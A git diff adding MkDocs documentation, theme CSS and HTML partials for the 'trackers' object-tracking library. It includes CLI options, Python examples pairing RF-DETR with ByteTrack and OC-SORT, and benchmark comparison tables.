+ +=== "Python" + + Trackers are modular—combine any detection library with any tracker. This example uses `inference` with RF-DETR. + + ```python + import cv2 + + import supervision as sv + from inference import get_model + from trackers import ByteTrackTracker + + model = get_model("rfdetr-nano") + tracker = ByteTrackTracker() + + cap = cv2.VideoCapture("source.mp4") + while True: + ret, frame = cap.read() + if not ret: + break + + result = model.infer(frame, confidence=0.3)[0] + detections = sv.Detections.from_inference(result) + detections = tracker.update(detections) + ``` + +--- + +## Visualization + +Visualization renders tracking results for debugging, demos, and qualitative evaluation. + +=== "CLI" + + Enable display and annotation options to see results in real time or in saved video. + + ```text + trackers track --source source.mp4 --display \ + --show-labels --show-confidence --show-trajectories + ``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ArgumentDescriptionDefault
--displayOpens a live preview window. Press q or ESC to quit.false
--show-boxesDraw bounding boxes around tracked objects.true
--show-masksDraw segmentation masks. Only available with rfdetr-seg-* models.false
--show-confidenceShow detection confidence scores in labels.false
--show-labelsShow class names in labels.false
--show-idsShow tracker IDs in labels.true
--show-trajectoriesDraw motion trails showing recent positions of each track.false
+ +=== "Python" + + Use `supervision` annotators to draw results on frames before saving or displaying. + + ```python + import cv2 + + import supervision as sv + from inference import get_model + from trackers import ByteTrackTracker + + model = get_model("rfdetr-nano") + tracker = ByteTrackTracker() + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + cap = cv2.VideoCapture("source.mp4") + while True: + ret, frame = cap.read() + if not ret: + break + + result = model.infer(frame)[0] + detections = sv.Detections.from_inference(result) + detections = tracker.update(detections) + + frame = box_annotator.annotate(frame, detections) + frame = label_annotator.annotate(frame, detections) + ``` + +--- + +## Source + +`trackers` accepts video files, webcams, RTSP streams, and directories of images as input sources. + +=== "CLI" + + Pass videos, webcams, streams, or image directories as input. + + ```text + trackers track --source source.mp4 + ``` + + + + + + + + + + + + + + + + + + + + + +
ArgumentDescriptionDefault
--sourceInput source. Accepts file paths (.mp4, .avi), device indices (0, 1), stream URLs (rtsp://), or image directories.—
+ +=== "Python" + + Use `opencv-python`'s `VideoCapture` to read frames from files, webcams, or streams. + + ```python + import cv2 + + import supervision as sv + from inference import get_model + from trackers import ByteTrackTracker + + model = get_model("rfdetr-nano") + tracker = ByteTrackTracker() + + cap = cv2.VideoCapture(0) + while True: + ret, frame = cap.read() + if not ret: + break + + result = model.infer(frame)[0] + detections = sv.Detections.from_inference(result) + detections = tracker.update(detections) + ``` + +--- + +## Output + +Save tracking results as annotated video files or display them in real time. + +=== "CLI" + + Specify an output path to save annotated video. + + ```text + trackers track --source source.mp4 --output output.mp4 --overwrite + ``` + + + + + + + + + + + + + + + + + + + + + + + + + + +
ArgumentDescriptionDefault
--outputPath for output video. If a directory is given, saves as output.mp4 inside it.none
--overwriteAllow overwriting existing output files. Without this flag, existing files cause an error.false
+ +=== "Python" + + Use `opencv-python`'s `VideoWriter` to save annotated frames with full control over codec and frame rate. + + ```python + import cv2 + + import supervision as sv + from inference import get_model + from trackers import ByteTrackTracker + + model = get_model("rfdetr-nano") + tracker = ByteTrackTracker() + box_annotator = sv.BoxAnnotator() + + cap = cv2.VideoCapture("source.mp4") + width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) + height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) + fps = cap.get(cv2.CAP_PROP_FPS) + + fourcc = cv2.VideoWriter_fourcc(*"mp4v") + out = cv2.VideoWriter("output.mp4", fourcc, fps, (width, height)) + + while True: + ret, frame = cap.read() + if not ret: + break + + result = model.infer(frame)[0] + detections = sv.Detections.from_inference(result) + detections = tracker.update(detections) + + frame = box_annotator.annotate(frame, detections) + out.write(frame) + + cap.release() + out.release() + ``` diff --git a/docs/overrides/partials/comments.html b/docs/overrides/partials/comments.html new file mode 100644 index 0000000..d0e59ce --- /dev/null +++ b/docs/overrides/partials/comments.html @@ -0,0 +1,50 @@ +{% if page.meta.comments %} +

{{ lang.t("meta.comments") }}

+ + + + + +{% endif %} diff --git a/docs/overrides/partials/header.html b/docs/overrides/partials/header.html new file mode 100644 index 0000000..6157b74 --- /dev/null +++ b/docs/overrides/partials/header.html @@ -0,0 +1,181 @@ +{% set class = "md-header" %} +{% if "navigation.tabs.sticky" in features %} + {% set class = class ~ " md-header--shadow md-header--lifted" %} +{% elif "navigation.tabs" not in features %} + {% set class = class ~ " md-header--shadow" %} +{% endif %} + + +
+ + + + {% if "navigation.tabs.sticky" in features %} + {% if "navigation.tabs" in features %} + {% include "partials/tabs.html" %} + {% endif %} + {% endif %} +
diff --git a/docs/overrides/stylesheets/command_builder.css b/docs/overrides/stylesheets/command_builder.css new file mode 100644 index 0000000..dd50fd3 --- /dev/null +++ b/docs/overrides/stylesheets/command_builder.css @@ -0,0 +1,456 @@ +/* Command Builder Widget - Purple/Gray Terminal Style */ +/* Matches MkDocs Material code block styling exactly */ + +/* Container */ +.cb-container { + margin: 1.5rem 0; +} + +/* Code block - matches MkDocs .language-* .highlight */ +.cb-code-block { + position: relative; + border-radius: 0.1rem; + overflow: hidden; +} + +.cb-code-block pre { + margin: 0; + display: flow-root; + line-height: 1.4; + position: relative; +} + +/* Let font-size inherit from .md-typeset code (0.85em) - don't override */ +.cb-code-block .cb-code { + --cb-grid-col: 14ch; + --cb-grid-gap: 1.25rem; + display: block; + padding: 0.7720588235em 1.1764705882em; + font-family: var(--cb-native-code-font-family, var(--md-code-font-family, "Roboto Mono", ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace)); + font-size: var(--cb-native-code-font-size, 0.85em); + line-height: var(--cb-native-code-line-height, 1.4); + color: #888; + background: var(--md-code-bg-color, #1e1e1e); + direction: ltr; + box-shadow: none; + overflow: auto; + scrollbar-color: var(--md-default-fg-color--lighter) transparent; + scrollbar-width: thin; +} + +/* Section header - purple */ +.cb-header { + color: #8315F9; + margin-top: 1rem; + margin-bottom: 0.5rem; + font-weight: normal; +} + +.cb-header:first-child { + margin-top: 0; +} + +/* Selectors row */ +.cb-selectors-row { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; + margin-bottom: 0.5rem; +} + +.cb-selectors-row--before-toggle { + margin-bottom: 1rem; +} + +.cb-model-type-grid, +.cb-model-size-grid { + display: grid; + grid-template-columns: repeat(4, var(--cb-grid-col)); + column-gap: var(--cb-grid-gap); + row-gap: 0.5rem; + justify-content: start; +} + +.cb-model-type-grid { + margin-bottom: 0.45rem; +} + +.cb-tracker-type-grid { + display: grid; + grid-template-columns: repeat(4, var(--cb-grid-col)); + column-gap: var(--cb-grid-gap); + row-gap: 0.5rem; + justify-content: start; +} + +.cb-model-size-grid .cb-selector { + justify-self: start; +} + +.cb-tracker-type-grid .cb-selector { + justify-self: start; +} + +.cb-model-size-grid--before-toggle { + margin-bottom: 1rem; +} + +/* Selector button [ label ] */ +.cb-selector { + display: inline-block; + padding: 0; + background: transparent; + border: none; + color: #888; + font: inherit; + cursor: pointer; + transition: color 0.15s ease; +} + +.cb-selector:hover { + color: #8315F9; +} + +.cb-selector--active { + color: #8315F9; +} + +.cb-selector--nudge-left { + margin-left: -1ch; +} + +/* Grid row for label = value */ +.cb-row { + --cb-row-gap: 0.75rem; + --cb-equals-col: 2ch; + --cb-check-col: var(--cb-grid-col); + --cb-check-gap: var(--cb-grid-gap); + --cb-anchor-2: calc(var(--cb-check-col) + var(--cb-check-gap)); + --cb-anchor-3: calc((2 * var(--cb-check-col)) + (2 * var(--cb-check-gap))); + --cb-label-col: 28ch; + display: grid; + grid-template-columns: var(--cb-label-col) var(--cb-equals-col) minmax(24ch, 1fr); + align-items: center; + gap: var(--cb-row-gap); + margin-bottom: 0.35rem; +} + +.cb-row--anchor-2 { + --cb-label-col: calc( + var(--cb-anchor-2) - var(--cb-equals-col) - (2 * var(--cb-row-gap)) + ); +} + +.cb-row--anchor-3 { + --cb-label-col: calc( + var(--cb-anchor-3) - var(--cb-equals-col) - (2 * var(--cb-row-gap)) + ); +} + +.cb-label { + color: #888; +} + +.cb-equals { + color: #888; + text-align: center; +} + +/* Indented content */ +.cb-indent { + padding-left: 1.5rem; +} + +.cb-option-indent { + padding-left: 4ch; +} + +/* Bracketed editable value containers */ +.cb-value-wrap { + display: inline-flex; + align-items: center; + gap: 0.25rem; + color: #888; + min-width: 0; +} + +.cb-value-wrap--numeric { + gap: 0.2rem; +} + +.cb-value-wrap--text { + --cb-text-span-width: calc((2 * var(--cb-grid-col)) + var(--cb-grid-gap)); + display: grid; + grid-template-columns: auto 1fr auto; + align-items: center; + background: rgba(128, 128, 128, 0.14); + border-radius: 0.2rem; + gap: 0.15rem; + padding: 0.08rem 0.4rem; + width: var(--cb-text-span-width); + max-width: 100%; +} + +.cb-value-wrap--text .cb-bracket { + display: inline-flex; + align-items: center; + line-height: 1; +} + +.cb-bracket { + color: #888; + transition: color 0.15s ease; +} + +.cb-value-wrap:hover .cb-bracket, +.cb-value-wrap:focus-within .cb-bracket { + color: #8315F9; +} + +/* Text input */ +.cb-text-input { + background: transparent; + border: none; + color: #888; + font: inherit; + padding: 0; + min-width: 0; + width: 100%; + max-width: none; + transition: color 0.15s ease; +} + +.cb-text-input:focus { + outline: none; + color: #8315F9; +} + +.cb-text-input:hover { + color: #8315F9; +} + +.cb-text-input::placeholder { + color: #555; +} + +.cb-text-input:focus::placeholder { + color: transparent; +} + +/* Numeric controls */ +.cb-numeric-controls { + display: inline-flex; + align-items: center; + gap: 0.45rem; + min-width: 0; +} + +.cb-num-btn { + background: transparent; + border: none; + color: #888; + font: inherit; + cursor: pointer; + padding: 0; + transition: color 0.15s ease; +} + +.cb-num-btn:hover { + color: #8315F9; +} + +.cb-num-input { + background: transparent; + border: none; + color: #888; + font: inherit; + text-align: center; + width: 7ch; + padding: 0; + transition: color 0.15s ease; +} + +.cb-num-input:hover { + color: #8315F9; +} + +.cb-num-input:focus { + outline: none; + color: #8315F9; +} + +.cb-num-input.cb-modified { + color: #8315F9; +} + +/* Selectors inline */ +.cb-selectors { + display: inline-flex; + flex-wrap: wrap; + gap: 0.5rem; +} + +/* Checkboxes */ +.cb-checkboxes { + display: grid; + grid-template-columns: repeat(4, var(--cb-grid-col)); + column-gap: var(--cb-grid-gap); + row-gap: 0.5rem; + margin-bottom: 0.5rem; + justify-content: start; +} + +.cb-checkbox { + display: inline-flex; + align-items: center; + gap: 0.35rem; + cursor: pointer; + color: #888; + transition: color 0.15s ease; + margin-bottom: 0.25rem; +} + +.cb-checkbox:hover { + color: #8315F9; +} + +.cb-checkbox input[type="checkbox"] { + position: absolute; + opacity: 0; + width: 0; + height: 0; +} + +.cb-check-marker { + color: inherit; +} + +.cb-check-label { + color: inherit; +} + +.cb-checkbox--active { + color: #8315F9; +} + +.cb-checkbox--active .cb-check-marker, +.cb-checkbox--active .cb-check-label { + color: #8315F9; +} + +.cb-option-toggle { + margin-top: 0.15rem; + margin-bottom: 0.65rem; +} + +/* Options container */ +.cb-options { + margin-bottom: 0.6rem; +} + +/* Errors */ +.cb-errors { + margin-top: 1rem; + padding-top: 0.75rem; + border-top: 1px solid #333; + display: none; +} + +.cb-error { + display: block; + color: #888; +} + +/* Command output block - matches native MkDocs code block */ +.cb-output { + position: relative; + margin-top: 1rem; + border-radius: 0.1rem; +} + +.cb-output pre { + margin: 0; + display: flow-root; + line-height: 1.4; + position: relative; +} + +/* Let font-size inherit from .md-typeset pre>code - don't override */ +.cb-output pre > code { + display: block; + padding: 0.7720588235em 1.1764705882em; + font-family: var(--cb-native-code-font-family, var(--md-code-font-family, "Roboto Mono", ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace)); + font-size: var(--cb-native-code-font-size, 0.85em); + line-height: var(--cb-native-code-line-height, 1.4); + color: var(--md-code-fg-color, #e6e6e6); + background: var(--md-code-bg-color, #1e1e1e); + direction: ltr; + box-shadow: none; + overflow: auto; + white-space: pre-wrap; + word-break: break-word; + scrollbar-color: var(--md-default-fg-color--lighter) transparent; + scrollbar-width: thin; + /* Reset box-decoration */ + -webkit-box-decoration-break: slice; + box-decoration-break: slice; + border-radius: 0.1rem; +} + +/* Force generated copy UI to use native measured dimensions */ +#command-builder-widget .cb-output .md-code__nav { + padding: var(--cb-native-copy-nav-padding, 0.2rem); + right: var(--cb-native-copy-nav-right, 0.25em); + top: var(--cb-native-copy-nav-top, 0.25em); + border-radius: var(--cb-native-copy-nav-border-radius, 0.1rem); +} + +#command-builder-widget .cb-output .md-code__button { + width: var(--cb-native-copy-button-width, 1.5em); + height: var(--cb-native-copy-button-height, 1.5em); + font-size: var(--cb-native-copy-button-font-size, inherit); +} + +/* Responsive */ +@media (max-width: 700px) { + .cb-row { + grid-template-columns: 1fr; + gap: 0.25rem; + } + + .cb-equals { + display: none; + } + + .cb-label::after { + content: " ="; + } + + .cb-text-input, + .cb-num-input { + max-width: 100%; + } + + .cb-value-wrap--text { + width: 100%; + } + + .cb-checkboxes { + grid-template-columns: repeat(2, minmax(12ch, 1fr)); + } + + .cb-model-type-grid, + .cb-model-size-grid, + .cb-tracker-type-grid { + grid-template-columns: repeat(2, minmax(12ch, 1fr)); + } + + .cb-model-type-grid .cb-selector, + .cb-tracker-type-grid .cb-selector { + grid-column: auto !important; + } + + .cb-selector--nudge-left { + margin-left: 0; + } +} diff --git a/docs/overrides/stylesheets/rf.css b/docs/overrides/stylesheets/rf.css new file mode 100644 index 0000000..9e92501 --- /dev/null +++ b/docs/overrides/stylesheets/rf.css @@ -0,0 +1,250 @@ +:root, body { + /* Default to light theme */ + --md-primary-fg-color: #8315F9; + --md-code-hl-color: #8315F9 !important; + --md-accent-fg-color: #8315F9 !important; + --md-code-hl-color--light: #e8d2ff89 !important; + --md-footer-fg-color--light: rgb(111, 108, 121) !important; +} + +body.light { + /* Light theme */ + --md-text-color: #000000; + --md-h2-color: #000000; +} +.md-grid { + max-width: 85%; + margin: auto; +} +.sublist { + display: none; + list-style: none; + padding-left: 0; + background: white; + position: absolute; + border-radius: 8px; + margin-top: 0.25rem; +} +.sublist { + transition: opacity 0.5s ease-in-out; + display: none; + position: absolute; /* Ensure it overlaps and doesn't break flow */ + background: white; /* So it's visible */ + z-index: 1000; +} +.sublist li { + padding: 0.5rem; +} +#products-list *:hover .products-sublist { + display: block; +} +#resources-list *, #products-list * { + cursor: pointer; +} +.products-sublist, .resources-sublist { + padding: 0.25rem; +} +.products-sublist li:hover, .resources-sublist li:hover, .md-nav__link[href]:hover { + background: rgb(242, 241, 247) !important; + border-radius: 6px; + color: initial !important; +} +.md-search { + flex-grow: 2; +} +.portfolio-section .md-grid { + max-width: 100%; +} +.md-header__inner { + align-items: center; + display: grid; + grid-template-columns: 0.1fr 1.4fr 2fr 2fr; + padding-right: 1rem; +} +.md-search__inner { + max-width: 600px; + width: 100%; + min-width: 100%; +} +.md-search__input { + background: white; + border: 1px solid rgb(229, 231, 235); + border-radius: 8px; + color: rgb(111, 108, 121); +} +.md-search__form *, .md-search__icon, .md-search__input { + color: rgb(111, 108, 121); +} +.md-search__input::placeholder { + color: rgb(156, 163, 175); +} +.md-search__form { + background: none !important; +} +.md-footer, .md-footer-meta { + background-color: transparent; + color: rgb(111, 108, 121); +} +.md-typeset .tabbed-set > input:first-child:checked ~ .tabbed-labels > :first-child, .md-typeset .tabbed-set > input:nth-child(10):checked ~ .tabbed-labels > :nth-child(10), .md-typeset .tabbed-set > input:nth-child(11):checked ~ .tabbed-labels > :nth-child(11), .md-typeset .tabbed-set > input:nth-child(12):checked ~ .tabbed-labels > :nth-child(12), .md-typeset .tabbed-set > input:nth-child(13):checked ~ .tabbed-labels > :nth-child(13), .md-typeset .tabbed-set > input:nth-child(14):checked ~ .tabbed-labels > :nth-child(14), .md-typeset .tabbed-set > input:nth-child(15):checked ~ .tabbed-labels > :nth-child(15), .md-typeset .tabbed-set > input:nth-child(16):checked ~ .tabbed-labels > :nth-child(16), .md-typeset .tabbed-set > input:nth-child(17):checked ~ .tabbed-labels > :nth-child(17), .md-typeset .tabbed-set > input:nth-child(18):checked ~ .tabbed-labels > :nth-child(18), .md-typeset .tabbed-set > input:nth-child(19):checked ~ .tabbed-labels > :nth-child(19), .md-typeset .tabbed-set > input:nth-child(2):checked ~ .tabbed-labels > :nth-child(2), .md-typeset .tabbed-set > input:nth-child(20):checked ~ .tabbed-labels > :nth-child(20), .md-typeset .tabbed-set > input:nth-child(3):checked ~ .tabbed-labels > :nth-child(3), .md-typeset .tabbed-set > input:nth-child(4):checked ~ .tabbed-labels > :nth-child(4), .md-typeset .tabbed-set > input:nth-child(5):checked ~ .tabbed-labels > :nth-child(5), .md-typeset .tabbed-set > input:nth-child(6):checked ~ .tabbed-labels > :nth-child(6), .md-typeset .tabbed-set > input:nth-child(7):checked ~ .tabbed-labels > :nth-child(7), .md-typeset .tabbed-set > input:nth-child(8):checked ~ .tabbed-labels > :nth-child(8), .md-typeset .tabbed-set > input:nth-child(9):checked ~ .tabbed-labels > :nth-child(9) { + color: #8315F9; + border-bottom: 1px solid #8315F9; +} +.md-footer *, html .md-footer-meta.md-typeset a { + color: rgb(111, 108, 121); +} +.repo-card { + height: 100%; +} +.header-btn { + text-align: center; +} +.header-btn, .sublist { + box-shadow: rgb(255, 255, 255) 0px 0px 0px 0px, rgb(217, 215, 226) 0px 0px 0px 1px, rgb(217, 215, 226) 0px 1px 2px 0px; +} +.header-btn:hover { + box-shadow: rgb(255, 255, 255) 0px 0px 0px 0px, rgb(217, 215, 226) 0px 0px 0px 1px, rgb(217, 215, 226) 0px 1.0001px 2.00013px -0.0000327245px, rgba(0, 0, 0, 0) 0px 0.000065449px 0.000130898px -0.000065449px; +} +.md-typeset .headerlink:hover, .md-typeset .headerlink:target { + color: #8315F9; +} +.md-typeset h1, .md-header__title { + color: black; + font-weight: 800; +} +.md-typeset h1 { + font-weight: normal; + margin-bottom: 1rem; +} +body { + background: linear-gradient(to left bottom, rgb(243, 238, 255), rgb(255, 255, 255) 60%) no-repeat; +} + +/* .md-nav__link:has([tabindex=""]) { + text-transform: uppercase; +} */ + +.header-list { + display: flex; + align-items: center; + gap: 1rem; + list-style: none; + font-size: 0.75rem; + justify-content: flex-end; +} +.md-nav__list label, .md-nav--secondary label { + /* text-transform: uppercase; */ + color: rgb(29, 29, 31) !important; + font-size: 0.7rem; + margin-bottom: 0; +} +.md-nav--secondary label { + margin-left: 0.5rem; +} + +.md-nav__link { + padding: 0.25rem; + padding-left: 0.5rem; + padding-right: 0.5rem; +} + +.md-nav__link--active { + background: rgb(243, 238, 255); + border-radius: 6px; + padding-top: 0.25rem; +} + +.md-tabs__item--active { + color: var(--md-primary-fg-color); + border-bottom: 2px solid var(--md-primary-fg-color); +} + +.md-nav--secondary .md-nav__title { + background: transparent; + box-shadow: none; +} + +.md-header, .md-tabs { + color: rgb(111, 108, 121); + background-color: transparent; +} +.md-header--shadow { + background: linear-gradient(to left bottom, rgb(243, 238, 255), rgb(255, 255, 255) 60%); + box-shadow: none; + border-bottom: 1px solid rgb(229, 231, 235); +} + +#item-logo { + display: none; +} +.md-main__inner, .md-header__inner, .md-grid { + max-width: 100%; +} +@media (max-width: 1200px) { + .md-header__inner { + display: flex; + } + .header-list { + display: none; + } + #item-logo { + display: block; + } +} +.md-content { + max-width: 40rem; + margin: auto; +} +/* // if no md-sidebar--primary, make .md-content full width */ +.md-main__inner:has(.md-sidebar--primary[hidden]) .md-content { + max-width: 100%; +} +.md-sidebar--primary { + flex: 0 20%; +} +.md-tabs { + border-bottom: 1px solid rgb(229, 231, 235); +} +.md-main__inner { + padding-top: 1rem; + margin-top: 0; +} + +body.dark { + /* Dark theme */ + --md-text-color: #FFFFFF; + --md-h2-color: #add8e6; +} + +body.light .md-content *, body.dark .md-content * { + color: var(--md-text-color) !important; +} + +body[data-md-url$="/cookbooks/"] .md-sidebar--primary, +body[data-md-url$="/cookbooks/"] .md-sidebar--secondary { + display: none; +} + +body[data-md-url$="/cookbooks/"] .md-content { + margin-left: 0; + width: 100%; +} + +.md-main, nav .md-grid, .md-header__inner { + max-width: 1600px; + width: 100%; + margin: auto; +} +.md-search__scrollwrap { + width: 100% !important; +} +.md-nav--secondary .md-nav__title { + position: initial !important; +} + +.md-header__title .md-ellipsis { + overflow: initial !important; + text-overflow: initial !important; +} +.md-search { + flex-grow: 0; +} diff --git a/docs/overrides/stylesheets/style.css b/docs/overrides/stylesheets/style.css new file mode 100644 index 0000000..4d6bebe --- /dev/null +++ b/docs/overrides/stylesheets/style.css @@ -0,0 +1,33 @@ +/* Full-width tables */ +.md-typeset__scrollwrap { + margin: 0; + overflow-x: auto; +} + +.md-typeset__table { + display: block; + width: 100%; + line-height: 1.5; +} + +.md-typeset table:not([class]) { + display: table; + width: 100%; + table-layout: fixed; + border-collapse: collapse; +} + +/* Table cell styling */ +th, td { + border: 1px solid var(--md-typeset-table-color); + word-wrap: break-word; +} + +.md-typeset__table table:not([class]) td, +.md-typeset__table table:not([class]) th { + padding: 10px; +} + +.md-typeset__table table:not([class]) { + font-size: 0.6rem; +} diff --git a/docs/trackers/bytetrack.md b/docs/trackers/bytetrack.md new file mode 100644 index 0000000..3dd03eb --- /dev/null +++ b/docs/trackers/bytetrack.md @@ -0,0 +1,149 @@ +--- +comments: true +--- + +# ByteTrack + +## Overview + +ByteTrack builds on the same Kalman filter plus Hungarian algorithm framework as SORT but changes the data association strategy to use almost every detection box regardless of confidence score. It runs a two-stage matching: first match high-confidence detections to tracks, then match low-confidence detections to any unmatched tracks using IoU. This reduces missed tracks and fragmentation for occluded or weak detections while retaining simplicity and high frame rates. ByteTrack has set state-of-the-art results on standard MOT benchmarks with real-time performance, because it recovers valid low-score detections instead of discarding them. + +## Comparison + +For comparisons with other trackers, plus dataset context and evaluation details, see the [tracker comparison](comparison.md) page. + +| Dataset | HOTA | IDF1 | MOTA | +| :-------: | :--: | :--: | :--: | +| MOT17 | 60.1 | 73.2 | 74.1 | +| SportsMOT | 73.0 | 72.5 | 96.4 | +| SoccerNet | 84.0 | 78.1 | 97.8 | + +## Run on video, webcam, or RTSP stream + +These examples use `opencv-python` for decoding and display. Replace ``, ``, and `` with your inputs. `` is usually 0 for the default camera. + +=== "Video" + + ```python + import cv2 + import supervision as sv + from rfdetr import RFDETRMedium + from trackers import ByteTrackTracker + + tracker = ByteTrackTracker() + model = RFDETRMedium() + + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + video_capture = cv2.VideoCapture("") + if not video_capture.isOpened(): + raise RuntimeError("Failed to open video source") + + while True: + success, frame_bgr = video_capture.read() + if not success: + break + + frame_rgb = cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + + annotated_frame = box_annotator.annotate(frame_bgr, detections) + annotated_frame = label_annotator.annotate( + annotated_frame, + detections, + labels=detections.tracker_id, + ) + + cv2.imshow("RF-DETR + ByteTrack", annotated_frame) + if cv2.waitKey(1) & 0xFF == ord("q"): + break + + video_capture.release() + cv2.destroyAllWindows() + ``` + +=== "Webcam" + + ```python + import cv2 + import supervision as sv + from rfdetr import RFDETRMedium + from trackers import ByteTrackTracker + + tracker = ByteTrackTracker() + model = RFDETRMedium() + + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + video_capture = cv2.VideoCapture("") + if not video_capture.isOpened(): + raise RuntimeError("Failed to open webcam") + + while True: + success, frame_bgr = video_capture.read() + if not success: + break + + frame_rgb = cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + + annotated_frame = box_annotator.annotate(frame_bgr, detections) + annotated_frame = label_annotator.annotate( + annotated_frame, + detections, + labels=detections.tracker_id, + ) + + cv2.imshow("RF-DETR + ByteTrack", annotated_frame) + if cv2.waitKey(1) & 0xFF == ord("q"): + break + + video_capture.release() + cv2.destroyAllWindows() + ``` + +=== "RTSP" + + ```python + import cv2 + import supervision as sv + from rfdetr import RFDETRMedium + from trackers import ByteTrackTracker + + tracker = ByteTrackTracker() + model = RFDETRMedium() + + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + video_capture = cv2.VideoCapture("") + if not video_capture.isOpened(): + raise RuntimeError("Failed to open RTSP stream") + + while True: + success, frame_bgr = video_capture.read() + if not success: + break + + frame_rgb = cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + + annotated_frame = box_annotator.annotate(frame_bgr, detections) + annotated_frame = label_annotator.annotate( + annotated_frame, + detections, + labels=detections.tracker_id, + ) + + cv2.imshow("RF-DETR + ByteTrack", annotated_frame) + if cv2.waitKey(1) & 0xFF == ord("q"): + break + + video_capture.release() + cv2.destroyAllWindows() + ``` diff --git a/docs/trackers/comparison.md b/docs/trackers/comparison.md new file mode 100644 index 0000000..8bcb261 --- /dev/null +++ b/docs/trackers/comparison.md @@ -0,0 +1,65 @@ +# Tracker Comparison + +This page shows head-to-head performance of SORT, ByteTrack, and OC-SORT on standard MOT benchmarks. All results come from benchmarking our current implementation of each tracker with default parameters. + +## [MOT17](https://arxiv.org/abs/1603.00831) + +Pedestrian tracking with crowded scenes and frequent occlusions. Strongly tests re-identification and identity stability. + + +

Visualization of ground-truth annotations for MOT17.

+ +| Tracker | HOTA | IDF1 | MOTA | +| :-------: | :------: | :------: | :------: | +| SORT | 58.4 | 69.9 | 67.2 | +| ByteTrack | 60.1 | 73.2 | 74.1 | +| OC-SORT | **61.9** | **76.1** | **76.7** | + +## [SportsMOT](https://arxiv.org/abs/2304.05170) + +Sports broadcast tracking with fast motion, camera pans, and similar-looking targets. Tests association under speed and appearance ambiguity. + + +

Visualization of ground-truth annotations for SportsMOT.

+ +| Tracker | HOTA | IDF1 | MOTA | +| :-------: | :------: | :------: | :------: | +| SORT | 70.9 | 68.9 | 95.7 | +| ByteTrack | **73.0** | **72.5** | **96.4** | +| OC-SORT | 71.5 | 71.2 | 95.2 | + +## [SoccerNet-tracking](https://arxiv.org/abs/2204.06918) + +Long sequences with dense interactions and partial occlusions. Tests long-term ID consistency. + + +

Visualization of ground-truth annotations for SoccerNet.

+ +| Tracker | HOTA | IDF1 | MOTA | +| :-------: | :------: | :------: | :------: | +| SORT | 81.6 | 76.2 | 95.1 | +| ByteTrack | **84.0** | **78.1** | **97.8** | +| OC-SORT | 78.6 | 72.7 | 94.5 | + +## [DanceTrack](https://arxiv.org/abs/2111.14690) + +Group dancing tracking with uniform appearance, diverse motions, and extreme articulation. Tests motion-based association without relying on visual discrimination. + + +

Visualization of ground-truth annotations for DanceTrack.

+ +| Tracker | HOTA | IDF1 | MOTA | +| :-------: | :------: | :------: | :------: | +| SORT | 45.0 | 39.0 | 80.6 | +| ByteTrack | 50.2 | 49.9 | 86.2 | +| OC-SORT | **51.8** | **50.9** | **87.3** | + +**Note:** DanceTrack test set is not available at the moment, that's why the table uses valid set. Default parameters are used in each tracker, for better performance it is possible to adjust the parameters to the dataset. diff --git a/docs/trackers/ocsort.md b/docs/trackers/ocsort.md new file mode 100644 index 0000000..180da3c --- /dev/null +++ b/docs/trackers/ocsort.md @@ -0,0 +1,146 @@ +--- +comments: true +--- + +# OC-SORT + +## Overview + +OC-SORT remains Simple, Online, and Real-Time like ([SORT](../sort/tracker.md)) but improves robustness during occlusion and non-linear motion. +It recognizes limitations from SORT and the linear motion assumption of the Kalman filter, and adds three mechanisms to enhance tracking. These +mechanisms help having better Kalman Filter parameters after an occlusion, add a term to the association process to incorporate how consistent is the direction with the new association with respect to the tracks' previous direction and add a second-stage association step between the last observation of unmatched tracks and the unmatched observations after the usual association to attempt to recover tracks that were lost +due to object stopping or short-term occlusion. + +## Comparison + +For comparisons with other trackers, plus dataset context and evaluation details, see the [tracker comparison](comparison.md) page. + +| Dataset | HOTA | IDF1 | MOTA | +| :-------: | :--: | :--: | :--: | +| MOT17 | 61.9 | 76.1 | 76.7 | +| SportsMOT | 71.5 | 71.2 | 95.2 | +| SoccerNet | 78.6 | 72.7 | 94.5 | + +## Run on video, webcam, or RTSP stream + +These examples use OpenCV for decoding and display. Replace ``, ``, and `` with your inputs. `` is usually 0 for the default camera. + +=== "Video" + + ```python + import cv2 + import supervision as sv + from rfdetr import RFDETRMedium + from trackers import OCSORTTracker + + tracker = OCSORTTracker() + model = RFDETRMedium() + + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + video_capture = cv2.VideoCapture("") + if not video_capture.isOpened(): + raise RuntimeError("Failed to open video source") + + while True: + success, frame_bgr = video_capture.read() + if not success: + break + + frame_rgb = cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + + annotated_frame = box_annotator.annotate(frame_bgr, detections) + annotated_frame = label_annotator.annotate( + annotated_frame, detections, labels=detections.tracker_id + ) + + cv2.imshow("RF-DETR + OC-SORT", annotated_frame) + if cv2.waitKey(1) & 0xFF == ord("q"): + break + + video_capture.release() + cv2.destroyAllWindows() + ``` + +=== "Webcam" + + ```python + import cv2 + import supervision as sv + from rfdetr import RFDETRMedium + from trackers import OCSORTTracker + + tracker = OCSORTTracker() + model = RFDETRMedium() + + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + video_capture = cv2.VideoCapture("") + if not video_capture.isOpened(): + raise RuntimeError("Failed to open webcam") + + while True: + success, frame_bgr = video_capture.read() + if not success: + break + + frame_rgb = cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + + annotated_frame = box_annotator.annotate(frame_bgr, detections) + annotated_frame = label_annotator.annotate( + 